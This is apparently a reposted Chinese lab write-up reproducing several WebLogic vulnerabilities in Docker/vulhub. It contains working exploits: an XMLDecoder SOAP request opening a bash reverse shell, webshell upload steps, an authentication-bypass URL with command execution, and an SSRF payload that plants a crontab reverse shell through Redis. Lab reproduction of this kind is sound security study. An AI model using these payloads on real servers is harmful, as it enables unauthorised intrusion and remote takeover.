迟到的漏洞复现系列
复现内容
-
CVE-2018-2628
-
CVE-2018-2894
-
CVE-2020-14882和CVE-2020-14883
-
ssrf
以上复现均采用docker以及vulhub搭建
CVE-2017-10271
CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下:http://localhost:7001/wls-wsat/CoordinatorPortType 通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
exp如下
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: localhost:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
写入webshell(访问:http://localhost:7001/bea_wls_internal/test.jsp)
漏洞探测方法:
访问https://...[_^strong:68b7b1c1!]/wls-wsat/CoordinatorPortType有显示就可能存在漏洞
使用nmap脚本或者是现流传的weblogic工具探测
CVE-2018-2628
Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令
环境初始化
http://localhost:7001/console
这里在mac上因为环境问题,先鸽一下,问了单挑geigei,建议跑ubuntu
chenhuan@MacBook-Pro downloads % java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8889 Jdk7u21 "touch /tmp/shell"
Exception in thread "main" java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets (in unnamed module @0x1a27aae3) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0x1a27aae3
at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:101)
at ysoserial.payloads.Jdk7u21.getObject(Jdk7u21.java:63)
at ysoserial.payloads.ObjectPayload$Utils.makePayloadObject(ObjectPayload.java:69)
at ysoserial.exploit.JRMPListener.main(JRMPListener.java:113)
-
漏洞探测方式:nmap的script或者github上有现成的t3反序列化探测脚本均可探测
CVE-2018-2894
Weblogic Web Service Test Page任意文件上传漏洞
环境初始化
http://localhost:7001/console
调整weblogic配置
启用web服务测试页
访问http://localhost:7001/ws_utc/config.do
设置dir为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
然后点击安全 -> 增加,然后上传webshell,上传后查看时间戳,访问
http://localhost:7001/ws_utc/css/config/keystore/时间戳_文件名,即可执行shell
CVE-2020-14882和CVE-2020-14883
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
CVE-2020-14882
访问url即可未授权访问
http://localhost:7001/console/css/%252e%252e%252fconsole.portal
但这里发现是低权限用户,所以要配合14883进行提权
这个漏洞的利用方式有两种
一是通过
com.tangosol.coherence.mvel2.sh.ShellSession
二是通过
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
访问以下url即可通过com.tangosol.coherence.mvel2.sh.ShellSession执行命令
http://localhost:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/shell');")
这里执行后可见shell被创建
ssrf
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件
访问http://localhost:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。
SSRF漏洞在
http://localhost:7001/uddiexplorer/SearchPublicRegistries.jsp
通过对不同端口的测试可探测内网的状态
Weblogic的SSRF可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379可以连通:
使用编码的url借助ssrf反弹redis的shell
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
【安全工具】EPScan—资产收集及被动扫描检测工具
【漏洞报送】ThinkPHP开发框架存在命令执行漏洞
【漏洞报送】Windows TCP/IP 存在远程命令执行漏洞(CVE-2022-34718)
原文始发于微信公众号(寻云安全团队):Weblogic常规漏洞复现合集
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论